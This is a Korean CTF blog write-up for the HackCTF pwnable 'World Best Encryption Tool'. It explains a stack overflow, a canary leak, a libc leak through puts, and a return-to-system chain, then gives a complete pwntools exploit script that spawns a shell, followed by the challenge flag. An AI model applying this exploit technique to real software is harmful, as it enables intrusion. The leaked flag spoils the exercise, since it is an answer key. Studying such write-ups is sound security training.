이번에는 World Best Encryption Tool이다.
이것도 취약점이 대놓고 보여서 쉬우니까 후딱 풀자
Canary, NX, Partial Relro, none pie이다.
main이다.
src에 입력받는 부분에 %s로 length check가 없어서 BOF가 터진다.
그리고 입력한 문자열을 0x31만큼 0x1C랑 xor연산해준다.
dest로 src 문자열을 복사하고, s1에 또 입력받는데
다시 BOF가 터진다.
그럼 우선 익스 시나리오를 구상해보자
1. src 입력 받는 부분으로 canary leak -> strncpy 이용해서 canary 1byte 덮으면 가능
2. s1에 Yes 입력해서 다시 src에 입력받음
3. libc leak, return to main
4. return to system("/bin/sh\x00")
나도 여기서 삽질을 조금 했는데 이 문제에서 libc leak을 할 때 주의해야할 점이 있다.
strncpy는 null byte가 존재할 때까지 복사하기 때문에 null byte가 끝에 없으면
이상한 값까지 다 복사하는 경우가 생긴다.
그래서 나는 처음에 dummy값을 줄 때 canary 전까지 null byte를 줬다
다르게 푸신 분들도 많아서 다른 분 롸업도 보면 좋을거 같다.
그럼 이제 익스 코드~
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3027)
# p = process("./prob")
pr = 0x00000000004008e3
e = ELF("./prob")
# libc = e.libc
libc = ELF("./libc6-amd64_2.9-4ubuntu6.3_i386.so")
puts_plt = e.sym['puts']
puts_got = e.got['puts']
scanf_got = e.got['__isoc99_scanf']
setvbuf = e.got['setvbuf']
main = e.sym['main']
payload = ""
payload += "A" * (0x40 - 0x8)
payload += "B"
p.sendlineafter("\n", payload)
p.recvuntil("B")
canary = u64(p.recv(7).rjust(8, '\x00'))
log.info("canary : " + str(hex(canary)))
p.sendlineafter("Wanna encrypt other text? (Yes/No)\n", "Yes")
payload = ""
payload += "\x00" * (0x80 - 0x8)
payload += p64(canary)
payload += "C" * 0x8
payload += p64(pr)
payload += p64(scanf_got)
payload += p64(puts_plt)
payload += p64(main)
p.sendlineafter("Your text)\n", payload)
p.sendlineafter("No)\n", "No")
scanf_addr = u64(p.recv(6).ljust(8, '\x00'))
sleep(0.1)
system = scanf_addr - 0x26140
binsh = scanf_addr + 0x121887
one_gadget = [0x3f542, 0x3f5a2, 0xd180d]
payload = ""
payload += "\x00" * (0x80 - 0x8)
payload += p64(canary)
payload += "C" * 0x8
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter("Your text)\n", payload)
sleep(0.1)
p.recvuntil('(Yes/No)\n')
p.sendline('No')
p.interactive()
익스는 이렇게 짜면 되고 libc file은 하위 3byte offset 봐서
libc database에 찾으면 된다.
FLAG = HackCTF{I_th0ught_X0R_is_the_w0rld_b3st_Encrypti0n}
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] j0n9hyun's secret (0) | 2021.10.19 |
---|---|
[Pwnable] Unexploitable #2 (0) | 2021.10.18 |
[Pwnable] Register (0) | 2021.10.18 |
[Pwnable] RTC (0) | 2021.10.18 |
[Pwnable] SysROP (0) | 2021.03.08 |